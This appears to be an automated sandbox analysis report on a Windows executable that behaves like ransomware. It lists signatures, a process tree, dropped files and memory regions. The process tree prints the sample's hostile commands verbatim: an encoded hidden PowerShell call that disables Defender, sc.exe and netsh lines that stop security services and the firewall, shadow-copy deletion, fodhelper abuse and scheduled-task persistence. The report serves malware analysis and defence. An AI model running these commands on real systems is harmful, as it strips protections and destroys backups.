Analysis

  • max time kernel
    150s
  • max time network
    163s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 07:45

General

  • Target
    albenadetroit.com_hybers.exe
  • Size 49KB
  • Sample260504-jletkshx9r
  • SHA256 4e8ec8b85ce0edacea1c282610fd5205705df9f52431ad980d39f2f7d455bec9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4844
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1072
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1068
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2460
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1076
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3660
      • C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe"
        3⤵
          PID:2504
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:652
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1384
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4228
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3136
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:340
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3836
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5096
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3708
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2124
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1564
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4620
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4600
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1588
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3956
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4516
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:4944
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:392
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2704
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3500
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:3120
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4860
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4576
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4144
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:3480
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4936
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:664
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a1a855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1464
              • C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
                C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
                1⤵
                  PID:4976
                • C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
                  C:\Users\Admin\AppData\Local\Temp\albenadetroit.com_hybers.exe
                  1⤵
                    PID:1296
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                      PID:2456

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 66KB
                          • SHA256 3a87490b001d12ab0be9228c8e62739d59fbd1403f5a2366d043760f533fc4f0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 66KB
                          • SHA256 abc7a35c3417c36f33727b786de87abaea3db94475d73093c7ca855e54800a01
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          albenadetroit.com_hybers.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\albenadetroit.com_hybers.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_xhbtjbbb.x1k.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhbtjbbb.x1k.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 249B
                          • SHA256 f1fbd10c0a3a9fc04e1954a795586524de35be4b1d034f1535ce765c2592ed19
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 250B
                          • SHA256 b043dcd15b65a4243696f2dff16e3083d9f7f9274d9b2f3fbf74577ebb0750f7
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 49KB
                          • SHA256 4e8ec8b85ce0edacea1c282610fd5205705df9f52431ad980d39f2f7d455bec9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/652-2239-0x000001A9AA750000-0x000001A9AA75C000-memory.dmp

                          memory/2704-2267-0x000001EC45710000-0x000001EC4571C000-memory.dmp

                          memory/3500-2259-0x000001A229840000-0x000001A229841000-memory.dmp

                          memory/3936-391-0x00000000014D0000-0x00000000014DC000-memory.dmp

                          memory/3936-392-0x000000001D5B0000-0x000000001D5C2000-memory.dmp

                          memory/3936-592-0x0000000002FB0000-0x0000000002FC0000-memory.dmp

                          memory/3936-3-0x000000001E3F0000-0x000000001E918000-memory.dmp

                          memory/3936-2-0x000000001E210000-0x000000001E3D2000-memory.dmp

                          memory/3936-0-0x0000000000B90000-0x0000000000BA2000-memory.dmp

                          memory/3936-1-0x0000000002FB0000-0x0000000002FC0000-memory.dmp

                          memory/4844-2031-0x000001F568410000-0x000001F56841A000-memory.dmp

                          memory/4844-2234-0x000001F5689F0000-0x000001F568A0A000-memory.dmp

                          memory/4844-1137-0x000001F5689B0000-0x000001F5689CC000-memory.dmp

                          memory/4844-2244-0x000001F568420000-0x000001F568428000-memory.dmp

                          memory/4844-2245-0x000001F5689D0000-0x000001F5689D6000-memory.dmp

                          memory/4844-1065-0x000001F567BE0000-0x000001F567BEC000-memory.dmp

                          memory/4844-2249-0x000001F5689E0000-0x000001F5689EA000-memory.dmp

                          memory/4844-2256-0x000001F568950000-0x000001F5689A6000-memory.dmp

                          memory/4844-1066-0x000001F567C90000-0x000001F567CA2000-memory.dmp

                          memory/4844-836-0x000001F568400000-0x000001F56840A000-memory.dmp

                          memory/4844-694-0x000001F568740000-0x000001F5687F3000-memory.dmp

                          memory/4844-672-0x000001F5683E0000-0x000001F5683FC000-memory.dmp

                          memory/4844-72-0x000001F568340000-0x000001F568362000-memory.dmp

                          memory/4844-2286-0x000001F568950000-0x000001F5689A6000-memory.dmp

                          memory/4844-2284-0x000001F567BE0000-0x000001F567BEC000-memory.dmp